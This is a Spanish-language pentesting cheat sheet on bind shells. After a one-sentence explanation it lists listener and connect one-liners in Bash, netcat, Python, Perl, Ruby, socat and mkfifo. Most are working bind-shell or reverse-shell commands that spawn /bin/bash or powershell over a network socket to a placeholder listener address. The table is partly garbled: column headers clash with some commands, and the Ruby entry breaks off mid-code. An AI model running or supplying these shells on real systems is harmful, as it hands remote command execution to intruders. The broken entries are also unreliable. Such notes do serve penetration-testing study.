Bind Shell

La diferencia aquí es que en vez de conectarnos nosotros a la máquina victima es que nosotros estamos escuchando por un puerto para que nos de conexión a nuestra máquina.

mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f # máquina victima
nc <IP> 4443 # nuestra máquina
Lenguaje
Comando para crear el listener
Comando para conectar con el listener
Ejemplo de puerto

Bash

nc -lvp <PUERTO>

nc <DIRECCIÓN_IP_DEL_LISTENER> <PUERTO> -e /bin/bash

4444

Netcat

nc -lvnp <PUERTO>

nc <DIRECCIÓN_IP_DE_LISTENER> <PUERTO>

Python

python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind(("0.0.0.0",<PUERTO>));s.listen(1);conn,addr=s.accept();print("[+] Conectado por:",addr[0]);subprocess.Popen(["/bin/bash","-i"],stdin=conn,stdout=conn,stderr=conn)'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<DIRECCIÓN_IP_DEL_LISTENER>",<PUERTO>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

5555

Perl

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(LocalPort,<PUERTO>,Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>;'

perl -e 'use Socket;$i="<DIRECCIÓN_IP_DEL_LISTENER>";$p=<PUERTO>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

6666

Ruby

ruby -rsocket -e 's=TCPServer.new("<PUERTO>");puts("[+] Escuchando en #{s.addr[0]}:#{s.addr[1]}");conn=s.accept;puts("[+] Conexión de #{conn.peeraddr[2]}:#{conn.peeraddr[1]}");while(cmd=gets);conn.puts #{cmd.chomp};end'

`ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<DIRECCIÓN_IP_DEL_LISTENER>","<PUERTO>");while(cmd=c.gets);IO.popen(cmd,"r"){

io

Netcat

nc -lvp <PUERTO>

nc <DIRECCIÓN_IP_DEL_LISTENER> <PUERTO>

8888

Socat Linux

socat TCP:<TARGET-IP>:<TARGET-PORT> -

socat TCP-L:<PORT> EXEC:"bash -li"

4443

Socat Windows

socat TCP:<TARGET-IP>:<TARGET-PORT> -

socat TCP-L:<PORT> EXEC:powershell.exe,pipes

4443

Mkfifo

nc <ip> <port> -e /bin/bash

mkfifo /tmp/f; nc -lvnp 4443 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

4443

Last updated